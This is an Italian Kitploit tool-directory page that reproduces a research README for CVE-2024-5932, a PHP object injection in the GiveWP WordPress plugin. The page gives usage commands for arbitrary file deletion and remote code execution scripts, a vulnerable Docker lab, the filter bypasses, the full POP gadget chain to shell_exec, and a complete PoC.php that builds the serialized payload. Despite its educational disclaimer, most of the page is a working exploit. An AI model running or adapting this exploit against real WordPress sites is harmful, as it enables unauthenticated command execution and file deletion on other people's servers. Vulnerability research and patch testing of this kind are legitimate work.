Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-5932 | Kitploit
Strumenti/GitHubGitHub/nishant-kumar-5173/cve-2024-5932
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingPaper e RicercaApprendimento e FormazioneSviluppo Payload
GitHubnishant-kumar-5173/cve-2024-5932

CVE-2024-5932

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Questo post è un articolo di ricerca pubblicato da EQSTLab.

❗❗ IMPORTANTE ❗❗

Attualmente ci sono repository GitHub PoC falsi che eseguono xmrig. Controlla il link qui sotto per maggiori informazioni:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 Eliminazione arbitraria di file e PoC RCE ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

Cronologia

25 Ago : Caricato il PoC di eliminazione file per CVE-2024-5932

26 Ago : Abbiamo eseguito con successo comandi arbitrari utilizzando CVE-2024-5932, ma stiamo valutando la divulgazione a causa dell'impatto.

27 Ago : Abbiamo trovato un'analisi dettagliata del PoC in un post di Julien Ahrens di RCE Security e abbiamo deciso di pubblicare il nostro PoC RCE. Abbiamo caricato un ulteriore PoC RCE come CVE-2024-5932-rce.py.

Descrizione

CVE-2024-5932 : vulnerabilità di PHP Object Injection in GiveWP description: Il plugin GiveWP Donation Plugin and Fundraising Platform per WordPress è vulnerabile alla PHP Object Injection in tutte le versioni fino alla 3.14.1 inclusa, tramite deserializzazione di input non attendibili provenienti dal parametro 'give_title'. Ciò consente ad attaccanti non autenticati di iniettare un PHP Object. La presenza aggiuntiva di una catena POP consente agli attaccanti di eseguire codice in remoto e di eliminare file arbitrari.

Come usare

Git clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

Installare i pacchetti

root@kitploit:~
pip install -r requirements.txt

Comando

root@kitploit:~
# Arbitrary file deletion
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Remote code execution
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>

Esempio

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Output

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

Risultato

image 2

Ambiente vulnerabile

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Poi scarica il plugin GiveWP vulnerabile:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. Decomprimi il file zip del plugin GiveWP e copia l'intero file nella directory “/var/www/html/wp-content/plugins”.

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Attiva il plugin GiveWP

image

5. Aggiungi un nuovo post con il plugin GiveWP e copia il link del post

image

6. Controlla il link vulnerabile

image

(Opzione) Configura il file di destinazione nell'ambiente Docker

Per prima cosa, accedi alla shell di WordPress con il seguente comando:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

Se il file è di proprietà di root, potrebbe non essere eliminato a causa dei permessi. Pertanto, devi modificare la proprietà del file di test con il seguente comando:

root@kitploit:~
touch test && chown www-data test

image

Debug tramite PHPSTORM

Puoi eseguire il debug del tuo GiveWP usando PHPSTORM.

1. Scarica xdebug nel tuo WordPress (Docker):

root@kitploit:~
pecl install xdebug

2. Quindi configura il file php.ini di WordPress in questo modo (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..E quindi puoi eseguire il debug del tuo WordPress.

3. Configura PHPSTORM in questo modo (Locale):

image image

4. Esempio PHPSTORM (es. eliminazione arbitraria di file tramite TCPDF)

image

Analisi

Punto vulnerabile (includes/payments/class-give-payment.php)

A questo punto, la funzione get_meta() deserializza il valore "give_title" precedentemente salvato.

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

Tecnica di bypass

strip_tags: sostituisci i byte nulli -> usando \0

stripslashes_deep: sostituisci le barre rovesciate -> usando \\\\

Concatenazione POP per RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Restituisce la stringa di comando)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Scenario di attacco

RCE tramite catena POP

La catena POP consente l'esecuzione remota di comandi. image

Eliminazione arbitraria di file

Usando TCPDF, puoi sfruttare l'eliminazione arbitraria di file.

Esclusione di responsabilità

Questo repository non è inteso come exploit di Object Injection per CVE-2024-5932. Lo scopo di questo progetto è aiutare le persone a imparare a conoscere questa vulnerabilità e, magari, testare le proprie applicazioni.

EQST Insight

Pubbliciamo analisi di CVE e malware una volta al mese. Se sei interessato, segui i link qui sotto per consultare le nostre pubblicazioni. https://www.skshieldus.com/eng/business/insight.do

Riferimenti

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

Scarica lo strumento